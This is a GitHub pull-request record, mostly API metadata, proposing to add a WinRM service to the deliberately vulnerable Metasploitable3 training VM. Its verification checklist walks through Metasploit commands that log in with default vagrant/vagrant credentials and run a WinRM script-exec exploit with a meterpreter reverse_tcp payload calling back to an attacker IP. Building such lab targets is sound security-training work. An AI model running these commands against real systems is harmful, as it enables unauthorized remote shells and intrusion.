{"action":"closed","number":7,"pull_request":{"url":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/7","id":82786239,"html_url":"https://github.com/jbarnett-r7/packer-windows/pull/7","diff_url":"https://github.com/jbarnett-r7/packer-windows/pull/7.diff","patch_url":"https://github.com/jbarnett-r7/packer-windows/pull/7.patch","issue_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/issues/7","number":7,"state":"closed","locked":false,"title":"Add WinRM service to Metasploitable3","user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"body":"This adds WinRM to Metasploitable3\r\n\r\nVerification\r\n\r\n- [ ] Install packer with ```brew install packer```\r\n- [ ] Install packer with ```brew install packer```\r\n- [ ] Install Vagrant with ```brew install vagrant```\r\n- [ ] Install Virtualbox\r\n- [ ] Clone this repo and check out this branch\r\n- [ ] Build the base VM using ```packer build windows_2008_r2.json```\r\n- [ ] Add the resulting .box file to vagrant using ```vagrant box add windows_2008_r2_virtualbox.box --name metasploitable3```\r\n- [ ] Bring up the vagrant environment using the command ```vagrant up```\r\n- [ ] You should see that port 5985 is open\r\n- [ ] Start msfconsole\r\n- [ ] Do: ```use auxiliary/scanner/winrm/winrm_login```\r\n- [ ] Do: ```set rhosts [metasploitable3 IP]```\r\n- [ ] Do: ```set username vagrant```\r\n- [ ] Do: ```set password vagrant```\r\n- [ ] Do: ```run```\r\n- [ ] You should get a credential\r\n- [ ] Do: ```use exploit/windows/winrm/winrm_script_exec```\r\n- [ ] Do: ```set rhost [metasploitable3 IP]```\r\n- [ ] Do: ```set username vagrant```\r\n- [ ] Do: ```set password vagrant```\r\n- [ ] Do: ```set payload windows/meterpreter/reverse_tcp```\r\n- [ ] Do: ```set lhost [attacker IP]```\r\n- [ ] Do: ```exploit```\r\n- [ ] You should get a session","created_at":"2016-08-25T20:20:34Z","updated_at":"2016-08-25T20:42:01Z","closed_at":"2016-08-25T20:42:01Z","merged_at":null,"merge_commit_sha":"84c0c5121afd7d40359a768d8b79465cdf384c2f","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/7/commits","review_comments_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/7/comments","review_comment_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/comments{/number}","comments_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/issues/7/comments","statuses_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/statuses/dc44aad50e6d810a911a8277509a81532af24b4e","head":{"label":"wchen-r7:metasploitable3-win-winrm","ref":"metasploitable3-win-winrm","sha":"dc44aad50e6d810a911a8277509a81532af24b4e","user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"repo":{"id":66308658,"name":"packer-windows","full_name":"wchen-r7/packer-windows","owner":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/wchen-r7/packer-windows","description":"Windows Packer Templates","fork":true,"url":"https://api.github.com/repos/wchen-r7/packer-windows","forks_url":"https://api.github.com/repos/wchen-r7/packer-windows/forks","keys_url":"https://api.github.com/repos/wchen-r7/packer-windows/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wchen-r7/packer-windows/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wchen-r7/packer-windows/teams","hooks_url":"https://api.github.com/repos/wchen-r7/packer-windows/hooks","issue_events_url":"https://api.github.com/repos/wchen-r7/packer-windows/issues/events{/number}","events_url":"https://api.github.com/repos/wchen-r7/packer-windows/events","assignees_url":"https://api.github.com/repos/wchen-r7/packer-windows/assignees{/user}","branches_url":"https://api.github.com/repos/wchen-r7/packer-windows/branches{/branch}","tags_url":"https://api.github.com/repos/wchen-r7/packer-windows/tags","blobs_url":"https://api.github.com/repos/wchen-r7/packer-windows/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wchen-r7/packer-windows/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wchen-r7/packer-windows/git/refs{/sha}","trees_url":"https://api.github.com/repos/wchen-r7/packer-windows/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wchen-r7/packer-windows/statuses/{sha}","languages_url":"https://api.github.com/repos/wchen-r7/packer-windows/languages","stargazers_url":"https://api.github.com/repos/wchen-r7/packer-windows/stargazers","contributors_url":"https://api.github.com/repos/wchen-r7/packer-windows/contributors","subscribers_url":"https://api.github.com/repos/wchen-r7/packer-windows/subscribers","subscription_url":"https://api.github.com/repos/wchen-r7/packer-windows/subscription","commits_url":"https://api.github.com/repos/wchen-r7/packer-windows/commits{/sha}","git_commits_url":"https://api.github.com/repos/wchen-r7/packer-windows/git/commits{/sha}","comments_url":"https://api.github.com/repos/wchen-r7/packer-windows/comments{/number}","issue_comment_url":"https://api.github.com/repos/wchen-r7/packer-windows/issues/comments{/number}","contents_url":"https://api.github.com/repos/wchen-r7/packer-windows/contents/{+path}","compare_url":"https://api.github.com/repos/wchen-r7/packer-windows/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wchen-r7/packer-windows/merges","archive_url":"https://api.github.com/repos/wchen-r7/packer-windows/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wchen-r7/packer-windows/downloads","issues_url":"https://api.github.com/repos/wchen-r7/packer-windows/issues{/number}","pulls_url":"https://api.github.com/repos/wchen-r7/packer-windows/pulls{/number}","milestones_url":"https://api.github.com/repos/wchen-r7/packer-windows/milestones{/number}","notifications_url":"https://api.github.com/repos/wchen-r7/packer-windows/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wchen-r7/packer-windows/labels{/name}","releases_url":"https://api.github.com/repos/wchen-r7/packer-windows/releases{/id}","deployments_url":"https://api.github.com/repos/wchen-r7/packer-windows/deployments","created_at":"2016-08-22T21:12:45Z","updated_at":"2016-08-22T21:12:46Z","pushed_at":"2016-08-25T20:12:49Z","git_url":"git://github.com/wchen-r7/packer-windows.git","ssh_url":"git@github.com:wchen-r7/packer-windows.git","clone_url":"https://github.com/wchen-r7/packer-windows.git","svn_url":"https://github.com/wchen-r7/packer-windows","homepage":null,"size":108381,"stargazers_count":0,"watchers_count":0,"language":"PowerShell","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"jbarnett-r7:master","ref":"master","sha":"6dc9f3293202d5e7efec41f6557ecb4360cad63c","user":{"login":"jbarnett-r7","id":12236529,"avatar_url":"https://avatars.githubusercontent.com/u/12236529?v=3","gravatar_id":"","url":"https://api.github.com/users/jbarnett-r7","html_url":"https://github.com/jbarnett-r7","followers_url":"https://api.github.com/users/jbarnett-r7/followers","following_url":"https://api.github.com/users/jbarnett-r7/following{/other_user}","gists_url":"https://api.github.com/users/jbarnett-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jbarnett-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jbarnett-r7/subscriptions","organizations_url":"https://api.github.com/users/jbarnett-r7/orgs","repos_url":"https://api.github.com/users/jbarnett-r7/repos","events_url":"https://api.github.com/users/jbarnett-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jbarnett-r7/received_events","type":"User","site_admin":false},"repo":{"id":63364408,"name":"packer-windows","full_name":"jbarnett-r7/packer-windows","owner":{"login":"jbarnett-r7","id":12236529,"avatar_url":"https://avatars.githubusercontent.com/u/12236529?v=3","gravatar_id":"","url":"https://api.github.com/users/jbarnett-r7","html_url":"https://github.com/jbarnett-r7","followers_url":"https://api.github.com/users/jbarnett-r7/followers","following_url":"https://api.github.com/users/jbarnett-r7/following{/other_user}","gists_url":"https://api.github.com/users/jbarnett-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jbarnett-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jbarnett-r7/subscriptions","organizations_url":"https://api.github.com/users/jbarnett-r7/orgs","repos_url":"https://api.github.com/users/jbarnett-r7/repos","events_url":"https://api.github.com/users/jbarnett-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jbarnett-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jbarnett-r7/packer-windows","description":"Windows Packer Templates","fork":true,"url":"https://api.github.com/repos/jbarnett-r7/packer-windows","forks_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/forks","keys_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/teams","hooks_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/hooks","issue_events_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/issues/events{/number}","events_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/events","assignees_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/assignees{/user}","branches_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/branches{/branch}","tags_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/tags","blobs_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/git/refs{/sha}","trees_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/statuses/{sha}","languages_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/languages","stargazers_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/stargazers","contributors_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/contributors","subscribers_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/subscribers","subscription_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/subscription","commits_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/commits{/sha}","git_commits_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/git/commits{/sha}","comments_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/comments{/number}","issue_comment_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/issues/comments{/number}","contents_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/contents/{+path}","compare_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/merges","archive_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/downloads","issues_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/issues{/number}","pulls_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls{/number}","milestones_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/milestones{/number}","notifications_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/labels{/name}","releases_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/releases{/id}","deployments_url":"https://api.github.com/repos/jbarnett-r7/packer-windows/deployments","created_at":"2016-07-14T19:37:21Z","updated_at":"2016-07-14T19:37:22Z","pushed_at":"2016-08-25T20:20:35Z","git_url":"git://github.com/jbarnett-r7/packer-windows.git","ssh_url":"git@github.com:jbarnett-r7/packer-windows.git","clone_url":"https://github.com/jbarnett-r7/packer-windows.git","svn_url":"https://github.com/jbarnett-r7/packer-windows","homepage":null,"size":21152,"stargazers_count":0,"watchers_count":0,"language":"PowerShell","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"open_issues_count":3,"forks":1,"open_issues":3,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/7"},"html":{"href":"https://github.com/jbarnett-r7/packer-windows/pull/7"},"issue":{"href":"https://api.github.com/repos/jbarnett-r7/packer-windows/issues/7"},"comments":{"href":"https://api.github.com/repos/jbarnett-r7/packer-windows/issues/7/comments"},"review_comments":{"href":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/7/comments"},"review_comment":{"href":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/jbarnett-r7/packer-windows/pulls/7/commits"},"statuses":{"href":"https://api.github.com/repos/jbarnett-r7/packer-windows/statuses/dc44aad50e6d810a911a8277509a81532af24b4e"}},"merged":false,"mergeable":true,"mergeable_state":"clean","merged_by":null,"comments":1,"review_comments":0,"commits":1,"additions":7,"deletions":0,"changed_files":3}}
{"actor":{"display_login":"wchen-r7"}}